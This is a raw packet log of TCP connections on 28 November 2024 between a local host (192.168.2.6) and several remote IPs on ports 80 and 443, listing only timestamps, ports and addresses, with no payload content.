Nov 28, 2024 15:17:44.184117079 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.184298038 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.184942961 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.185086012 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.185134888 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.185889959 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.185947895 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.186013937 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.186126947 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.186775923 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.186836004 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.186892986 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.187493086 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.187716007 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.187728882 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.187767029 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.187781096 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.188709021 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.188720942 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.188770056 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.189573050 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.189584970 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.189631939 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.190452099 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.190510988 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.190610886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.190659046 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.190776110 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.190810919 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.190860987 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.190875053 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.190902948 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.191351891 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.191416025 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.191468000 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.191476107 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.192267895 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.192327976 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.192399979 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.192909002 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.206316948 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.206350088 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.206408978 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.206424952 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.206469059 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.206489086 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.220762968 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.220798016 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.220866919 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.220880032 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.220907927 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.220927000 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.232012033 CET	443	49858	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.232040882 CET	443	49858	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.232104063 CET	443	49858	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.232120991 CET	443	49858	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.232127905 CET	49858	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.232171059 CET	49858	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.232424021 CET	49858	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.232436895 CET	443	49858	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.232446909 CET	49858	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.232451916 CET	443	49858	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.234214067 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.234249115 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.234292030 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.234304905 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.234330893 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.234348059 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.262456894 CET	443	49857	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.262482882 CET	443	49857	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.262511969 CET	443	49857	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.262557983 CET	49857	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.262584925 CET	443	49857	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.262599945 CET	49857	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.262809992 CET	49857	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.262819052 CET	443	49857	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.262835026 CET	49857	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.262960911 CET	443	49857	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.262989044 CET	443	49857	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.263031960 CET	49857	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.298350096 CET	443	49856	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.298367977 CET	443	49856	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.298409939 CET	443	49856	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.298448086 CET	49856	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.298468113 CET	443	49856	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.298477888 CET	443	49856	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.298479080 CET	49856	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.298526049 CET	49856	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.298693895 CET	49856	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.298708916 CET	443	49856	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.306047916 CET	443	49860	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.306068897 CET	443	49860	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.306108952 CET	443	49860	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.306195974 CET	49860	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.306195974 CET	49860	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.306210995 CET	443	49860	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.306443930 CET	49860	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.306443930 CET	49860	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.306457996 CET	443	49860	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.306591034 CET	443	49860	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.306626081 CET	443	49860	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.306675911 CET	49860	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.316320896 CET	443	49861	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.316349030 CET	443	49861	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.316382885 CET	443	49861	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.316461086 CET	49861	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.316487074 CET	443	49861	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.317073107 CET	49861	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.317089081 CET	443	49861	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.317099094 CET	49861	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.317215919 CET	443	49861	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.317250967 CET	443	49861	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.317307949 CET	49861	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.333592892 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.333628893 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.333709955 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.333785057 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.333836079 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.333836079 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.345480919 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.345510960 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.345613003 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.345632076 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.345699072 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.346467972 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.346546888 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.346568108 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.346600056 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.346937895 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.347032070 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.347071886 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.347887993 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.348000050 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.348836899 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.348848104 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.348892927 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.349692106 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.349781036 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.350395918 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.350644112 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.350745916 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.350780964 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.351108074 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.351511955 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.351624966 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.351629972 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.351675034 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.352464914 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.352556944 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.352874041 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.353342056 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.353400946 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.353456974 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.354258060 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.354307890 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.354345083 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.354475021 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.355195999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.355206966 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.355362892 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.356323004 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.356389046 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.356559992 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.356822014 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.356847048 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.356895924 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.356915951 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.356945038 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.356966972 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.357019901 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.357064009 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.357121944 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.357166052 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.357949972 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.358010054 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.358047009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.358232021 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.358845949 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.358989954 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.359072924 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.359796047 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.359810114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.359848976 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.360662937 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.360716105 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.360718966 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.360918045 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.361643076 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.361686945 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.361716032 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.362500906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.362554073 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.362596989 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.362637043 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.363432884 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.363490105 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.363500118 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.363704920 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.364365101 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.364381075 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.364424944 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.365262985 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.365326881 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.365331888 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.365483999 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.365803003 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.365824938 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.365883112 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.365895987 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.365921974 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.365942001 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.366173029 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.366213083 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.366389036 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.367110968 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.367153883 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.367208958 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.368016958 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.368072033 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.368215084 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.368266106 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.368942022 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.368997097 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.369014978 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.369210005 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.369913101 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.369961023 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.369963884 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.370111942 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.370765924 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.370816946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.370872974 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.370915890 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.371679068 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.371748924 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.371803045 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.372575045 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.372628927 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.372665882 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.372755051 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.373250961 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.373286009 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.373342991 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.373357058 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.373385906 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.373395920 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.373516083 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.373574972 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.373583078 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.373621941 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.373785973 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.373800039 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.373821020 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.374429941 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.374519110 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.374521017 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.374805927 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.375334978 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.375386000 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.375410080 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.375582933 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.376250982 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.376293898 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.376301050 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.376584053 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.377176046 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.377218008 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.377285004 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.377325058 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.378103971 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.378154039 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.378170013 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.378382921 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.378999949 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.379137039 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.379199982 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.379889965 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.379951954 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.380006075 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.380089045 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.380825996 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.380877018 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.380913973 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.380949974 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.381748915 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.381860018 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.381907940 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.382680893 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.382735968 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.382771969 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.382903099 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.383569002 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.383625031 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.383666992 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.383833885 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.384493113 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.384505033 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.384547949 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.384582996 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.385406971 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.385468960 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.385499954 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.385596037 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.386308908 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.386370897 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.386385918 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.386533022 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.387224913 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.387337923 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.387387037 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.387533903 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.387895107 CET	49868	443	192.168.2.6	23.209.72.35
Nov 28, 2024 15:17:44.387933016 CET	443	49868	23.209.72.35	192.168.2.6
Nov 28, 2024 15:17:44.388021946 CET	49868	443	192.168.2.6	23.209.72.35
Nov 28, 2024 15:17:44.388192892 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.388205051 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.388264894 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.388725042 CET	49868	443	192.168.2.6	23.209.72.35
Nov 28, 2024 15:17:44.388741016 CET	443	49868	23.209.72.35	192.168.2.6
Nov 28, 2024 15:17:44.389105082 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.389153957 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.389192104 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.389229059 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.389769077 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:44.389972925 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.390039921 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.390043020 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.390074968 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.390902042 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.390966892 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.391002893 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.391237974 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.391783953 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.391841888 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.391936064 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.392029047 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.392764091 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.392805099 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.392827988 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.392847061 CET	49804	80	192.168.2.6	185.215.113.206
